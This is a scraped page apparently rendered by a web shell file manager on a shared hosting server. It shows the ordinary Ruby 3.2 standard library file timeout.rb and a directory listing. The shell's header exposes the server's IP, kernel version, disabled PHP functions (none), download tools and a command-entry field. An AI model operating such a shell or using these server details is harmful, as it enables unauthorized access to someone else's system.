GRAYBYTE WORDPRESS FILE MANAGER6081

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/ruby32/share/ruby/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/ruby32/share/ruby//timeout.rb
# frozen_string_literal: true
# Timeout long-running blocks
#
# == Synopsis
#
#   require 'timeout'
#   status = Timeout::timeout(5) {
#     # Something that should be interrupted if it takes more than 5 seconds...
#   }
#
# == Description
#
# Timeout provides a way to auto-terminate a potentially long-running
# operation if it hasn't finished in a fixed amount of time.
#
# Previous versions didn't use a module for namespacing, however
# #timeout is provided for backwards compatibility.  You
# should prefer Timeout.timeout instead.
#
# == Copyright
#
# Copyright:: (C) 2000  Network Applied Communication Laboratory, Inc.
# Copyright:: (C) 2000  Information-technology Promotion Agency, Japan

module Timeout
  VERSION = "0.3.1"

  # Raised by Timeout.timeout when the block times out.
  class Error < RuntimeError
    attr_reader :thread

    def self.catch(*args)
      exc = new(*args)
      exc.instance_variable_set(:@thread, Thread.current)
      exc.instance_variable_set(:@catch_value, exc)
      ::Kernel.catch(exc) {yield exc}
    end

    def exception(*)
      # TODO: use Fiber.current to see if self can be thrown
      if self.thread == Thread.current
        bt = caller
        begin
          throw(@catch_value, bt)
        rescue UncaughtThrowError
        end
      end
      super
    end
  end

  # :stopdoc:
  CONDVAR = ConditionVariable.new
  QUEUE = Queue.new
  QUEUE_MUTEX = Mutex.new
  TIMEOUT_THREAD_MUTEX = Mutex.new
  @timeout_thread = nil
  private_constant :CONDVAR, :QUEUE, :QUEUE_MUTEX, :TIMEOUT_THREAD_MUTEX

  class Request
    attr_reader :deadline

    def initialize(thread, timeout, exception_class, message)
      @thread = thread
      @deadline = GET_TIME.call(Process::CLOCK_MONOTONIC) + timeout
      @exception_class = exception_class
      @message = message

      @mutex = Mutex.new
      @done = false # protected by @mutex
    end

    def done?
      @mutex.synchronize do
        @done
      end
    end

    def expired?(now)
      now >= @deadline
    end

    def interrupt
      @mutex.synchronize do
        unless @done
          @thread.raise @exception_class, @message
          @done = true
        end
      end
    end

    def finished
      @mutex.synchronize do
        @done = true
      end
    end
  end
  private_constant :Request

  def self.create_timeout_thread
    watcher = Thread.new do
      requests = []
      while true
        until QUEUE.empty? and !requests.empty? # wait to have at least one request
          req = QUEUE.pop
          requests << req unless req.done?
        end
        closest_deadline = requests.min_by(&:deadline).deadline

        now = 0.0
        QUEUE_MUTEX.synchronize do
          while (now = GET_TIME.call(Process::CLOCK_MONOTONIC)) < closest_deadline and QUEUE.empty?
            CONDVAR.wait(QUEUE_MUTEX, closest_deadline - now)
          end
        end

        requests.each do |req|
          req.interrupt if req.expired?(now)
        end
        requests.reject!(&:done?)
      end
    end
    ThreadGroup::Default.add(watcher)
    watcher.name = "Timeout stdlib thread"
    watcher.thread_variable_set(:"\0__detached_thread__", true)
    watcher
  end
  private_class_method :create_timeout_thread

  def self.ensure_timeout_thread_created
    unless @timeout_thread and @timeout_thread.alive?
      TIMEOUT_THREAD_MUTEX.synchronize do
        unless @timeout_thread and @timeout_thread.alive?
          @timeout_thread = create_timeout_thread
        end
      end
    end
  end

  # We keep a private reference so that time mocking libraries won't break
  # Timeout.
  GET_TIME = Process.method(:clock_gettime)
  private_constant :GET_TIME

  # :startdoc:

  # Perform an operation in a block, raising an error if it takes longer than
  # +sec+ seconds to complete.
  #
  # +sec+:: Number of seconds to wait for the block to terminate. Any number
  #         may be used, including Floats to specify fractional seconds. A
  #         value of 0 or +nil+ will execute the block without any timeout.
  # +klass+:: Exception Class to raise if the block fails to terminate
  #           in +sec+ seconds.  Omitting will use the default, Timeout::Error
  # +message+:: Error message to raise with Exception Class.
  #             Omitting will use the default, "execution expired"
  #
  # Returns the result of the block *if* the block completed before
  # +sec+ seconds, otherwise throws an exception, based on the value of +klass+.
  #
  # The exception thrown to terminate the given block cannot be rescued inside
  # the block unless +klass+ is given explicitly. However, the block can use
  # ensure to prevent the handling of the exception.  For that reason, this
  # method cannot be relied on to enforce timeouts for untrusted blocks.
  #
  # If a scheduler is defined, it will be used to handle the timeout by invoking
  # Scheduler#timeout_after.
  #
  # Note that this is both a method of module Timeout, so you can <tt>include
  # Timeout</tt> into your classes so they have a #timeout method, as well as
  # a module method, so you can call it directly as Timeout.timeout().
  def timeout(sec, klass = nil, message = nil, &block)   #:yield: +sec+
    return yield(sec) if sec == nil or sec.zero?

    message ||= "execution expired"

    if Fiber.respond_to?(:current_scheduler) && (scheduler = Fiber.current_scheduler)&.respond_to?(:timeout_after)
      return scheduler.timeout_after(sec, klass || Error, message, &block)
    end

    Timeout.ensure_timeout_thread_created
    perform = Proc.new do |exc|
      request = Request.new(Thread.current, sec, exc, message)
      QUEUE_MUTEX.synchronize do
        QUEUE << request
        CONDVAR.signal
      end
      begin
        return yield(sec)
      ensure
        request.finished
      end
    end

    if klass
      perform.call(klass)
    else
      backtrace = Error.catch(&perform)
      raise Error, message, backtrace
    end
  end
  module_function :timeout
end

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
January 01 1970 00:00:00
root / root
0
benchmark
--
May 13 2025 08:35:38
root / linksafe
0755
bigdecimal
--
May 13 2025 08:35:40
root / linksafe
0755
cgi
--
May 13 2025 08:35:38
root / linksafe
0755
csv
--
May 13 2025 08:35:38
root / linksafe
0755
did_you_mean
--
May 13 2025 08:35:38
root / linksafe
0755
digest
--
May 13 2025 08:35:38
root / linksafe
0755
drb
--
May 13 2025 08:35:38
root / linksafe
0755
erb
--
May 13 2025 08:35:38
root / linksafe
0755
error_highlight
--
May 13 2025 08:35:38
root / linksafe
0755
fiddle
--
May 13 2025 08:35:38
root / linksafe
0755
forwardable
--
May 13 2025 08:35:38
root / linksafe
0755
io
--
April 24 2025 07:53:41
root / linksafe
0755
json
--
May 13 2025 08:35:42
root / linksafe
0755
logger
--
May 13 2025 08:35:38
root / linksafe
0755
net
--
May 13 2025 08:35:38
root / linksafe
0755
objspace
--
May 13 2025 08:35:38
root / linksafe
0755
open3
--
May 13 2025 08:35:38
root / linksafe
0755
openssl
--
May 13 2025 08:35:38
root / linksafe
0755
optparse
--
May 13 2025 08:35:38
root / linksafe
0755
psych
--
May 13 2025 08:35:40
root / linksafe
0755
racc
--
May 13 2025 08:35:38
root / linksafe
0755
random
--
May 13 2025 08:35:38
root / linksafe
0755
reline
--
May 13 2025 08:35:38
root / linksafe
0755
rinda
--
May 13 2025 08:35:38
root / linksafe
0755
ripper
--
May 13 2025 08:35:38
root / linksafe
0755
ruby_vm
--
March 03 2024 22:35:21
root / root
0755
set
--
May 13 2025 08:35:38
root / linksafe
0755
syntax_suggest
--
May 13 2025 08:35:38
root / linksafe
0755
syslog
--
May 13 2025 08:35:38
root / linksafe
0755
unicode_normalize
--
May 13 2025 08:35:38
root / linksafe
0755
uri
--
May 13 2025 08:35:38
root / linksafe
0755
vendor_ruby
--
April 24 2025 07:53:41
root / linksafe
0755
yaml
--
May 13 2025 08:35:38
root / linksafe
0755
English.rb
6.111 KB
April 24 2025 07:53:46
root / linksafe
0644
abbrev.rb
3.446 KB
April 24 2025 07:53:46
root / linksafe
0644
base64.rb
3.354 KB
April 24 2025 07:53:45
root / linksafe
0644
benchmark.rb
18.4 KB
April 24 2025 07:53:46
root / linksafe
0644
bigdecimal.rb
0.023 KB
April 24 2025 07:53:46
root / linksafe
0644
cgi.rb
9.834 KB
April 24 2025 07:53:46
root / linksafe
0644
coverage.rb
0.359 KB
April 24 2025 07:53:45
root / linksafe
0644
csv.rb
92.471 KB
April 24 2025 07:53:46
root / linksafe
0644
date.rb
1.165 KB
April 24 2025 07:53:45
root / linksafe
0644
delegate.rb
11.676 KB
April 24 2025 07:53:44
root / linksafe
0644
did_you_mean.rb
5.313 KB
April 24 2025 07:53:44
root / linksafe
0644
digest.rb
3.302 KB
April 24 2025 07:53:46
root / linksafe
0644
drb.rb
0.049 KB
April 24 2025 07:53:45
root / linksafe
0644
erb.rb
14.567 KB
April 24 2025 07:53:45
root / linksafe
0644
error_highlight.rb
0.082 KB
April 24 2025 07:53:46
root / linksafe
0644
expect.rb
2.191 KB
April 24 2025 07:53:44
root / linksafe
0644
fiddle.rb
2.883 KB
April 24 2025 07:53:46
root / linksafe
0644
fileutils.rb
79.017 KB
April 24 2025 07:53:44
root / linksafe
0644
find.rb
2.496 KB
April 24 2025 07:53:46
root / linksafe
0644
forwardable.rb
9.028 KB
April 24 2025 07:53:44
root / linksafe
0644
getoptlong.rb
20.263 KB
April 24 2025 07:53:45
root / linksafe
0644
ipaddr.rb
20.597 KB
April 24 2025 07:53:44
root / linksafe
0644
json.rb
19.294 KB
April 24 2025 07:53:45
root / linksafe
0644
kconv.rb
5.724 KB
April 24 2025 07:53:45
root / linksafe
0644
logger.rb
21.945 KB
April 24 2025 07:53:46
root / linksafe
0644
mkmf.rb
88.401 KB
April 24 2025 07:53:46
root / linksafe
0644
monitor.rb
6.758 KB
April 24 2025 07:53:44
root / linksafe
0644
mutex_m.rb
2.327 KB
April 24 2025 07:53:46
root / linksafe
0644
objspace.rb
4.666 KB
April 24 2025 07:53:45
root / linksafe
0644
observer.rb
6.379 KB
April 24 2025 07:53:46
root / linksafe
0644
open-uri.rb
25.518 KB
April 24 2025 07:53:46
root / linksafe
0644
open3.rb
22.109 KB
April 24 2025 07:53:45
root / linksafe
0644
openssl.rb
1.027 KB
April 24 2025 07:53:45
root / linksafe
0644
optionparser.rb
0.058 KB
April 24 2025 07:53:46
root / linksafe
0644
optparse.rb
61.062 KB
April 24 2025 07:53:44
root / linksafe
0644
ostruct.rb
13.884 KB
April 24 2025 07:53:44
root / linksafe
0644
pathname.rb
16.83 KB
April 24 2025 07:53:45
root / linksafe
0644
pp.rb
17.222 KB
April 24 2025 07:53:45
root / linksafe
0644
prettyprint.rb
15.899 KB
April 24 2025 07:53:45
root / linksafe
0644
pstore.rb
20.519 KB
April 24 2025 07:53:45
root / linksafe
0644
psych.rb
24.617 KB
April 24 2025 07:53:44
root / linksafe
0644
racc.rb
0.134 KB
April 24 2025 07:53:45
root / linksafe
0644
readline.rb
0.185 KB
April 24 2025 07:53:46
root / linksafe
0644
reline.rb
17.746 KB
April 24 2025 07:53:45
root / linksafe
0644
resolv-replace.rb
1.763 KB
April 24 2025 07:53:45
root / linksafe
0644
resolv.rb
74.186 KB
April 24 2025 07:53:45
root / linksafe
0644
ripper.rb
2.436 KB
April 24 2025 07:53:46
root / linksafe
0644
securerandom.rb
2.111 KB
April 24 2025 07:53:44
root / linksafe
0644
set.rb
25.313 KB
April 24 2025 07:53:46
root / linksafe
0644
shellwords.rb
7.089 KB
April 24 2025 07:53:46
root / linksafe
0644
singleton.rb
4.08 KB
April 24 2025 07:53:45
root / linksafe
0644
socket.rb
43.725 KB
April 24 2025 07:53:45
root / linksafe
0644
syntax_suggest.rb
0.072 KB
April 24 2025 07:53:46
root / linksafe
0644
tempfile.rb
13.838 KB
April 24 2025 07:53:46
root / linksafe
0644
time.rb
23.718 KB
April 24 2025 07:53:45
root / linksafe
0644
timeout.rb
5.828 KB
April 24 2025 07:53:45
root / linksafe
0644
tmpdir.rb
4.699 KB
April 24 2025 07:53:46
root / linksafe
0644
tsort.rb
14.265 KB
April 24 2025 07:53:46
root / linksafe
0644
un.rb
11.171 KB
April 24 2025 07:53:46
root / linksafe
0644
uri.rb
3.058 KB
April 24 2025 07:53:45
root / linksafe
0644
weakref.rb
1.355 KB
April 24 2025 07:53:45
root / linksafe
0644
yaml.rb
2.106 KB
April 24 2025 07:53:45
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF